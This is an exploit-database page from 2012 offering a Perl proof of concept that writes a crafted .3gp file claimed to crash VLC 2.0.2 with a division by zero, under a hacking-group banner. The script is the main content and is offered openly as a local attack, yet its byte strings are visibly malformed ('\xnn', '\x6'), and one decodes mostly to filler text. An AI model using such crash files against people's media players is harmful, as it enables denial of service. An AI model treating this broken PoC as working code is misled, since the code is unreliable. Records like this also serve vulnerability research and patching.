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VLC 2.0.2 Division By Zero

🗓️ 02 Aug 2012 00:00:00Reported by Dark-PuzzleType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

VLC 2.0.2 Division By Zero vulnerability in .3gp file format leads to non-response of playlist DLLs, requiring Task Manager to close VLC

Code
` 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [x] Official Website: http://www.1337day.com 0  
1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1  
0 0  
1 ========================================== 1  
0 I'm Dark-Puzzle From Inj3ct0r TEAM 0  
0 1  
1 dark-puzzle[at]live[at]fr 0  
0 ========================================== 1  
1 Pentesting/exploit coding/bug research 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1  
  
# Exploit Title: VLC 2.0.2 - .3gp Division By Zero.  
# Author: Dark-Puzzle .   
# Danger : Medium .  
# Category :Local Exploit .  
# Version: Latest ; 2.0.2 Twoflower (Previous versions are not tested but Maybe Vulnerable)   
# Vendor : www.videolan.org   
# Software Link : http://www.videolan.org/vlc/releases/2.0.2.html  
# Date: 02 Aug 2012 .  
----------------------------------------------------------------------------------------  
The division by zero occurs a non-response from all playlist DLLs so you cannot play nothing  
until you close VLC through the Task Manager  
----------------------------------------------------------------------------------------  
PoC :  
  
#!/usr/bin/perl  
my $a ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";  
my $b ="\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70";  
my $c ="\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61 \x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27 \x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65";  
my $d ="\x33\x67\x70";  
  
  
my $file = "darkpuzzle.3gp";  
  
open ($File, ">$file");  
print $File $a,$b,$c,$d;  
close ($File);  
  
-----------------------------------------------------------------------------------------  
* Dark-Puzzle From Datasec Team *  
Greetz 2 : M.C.A , Team-Hunter , Jigs@w , All Inj3ct0r team Members , Packetstromsecurity.org   
`

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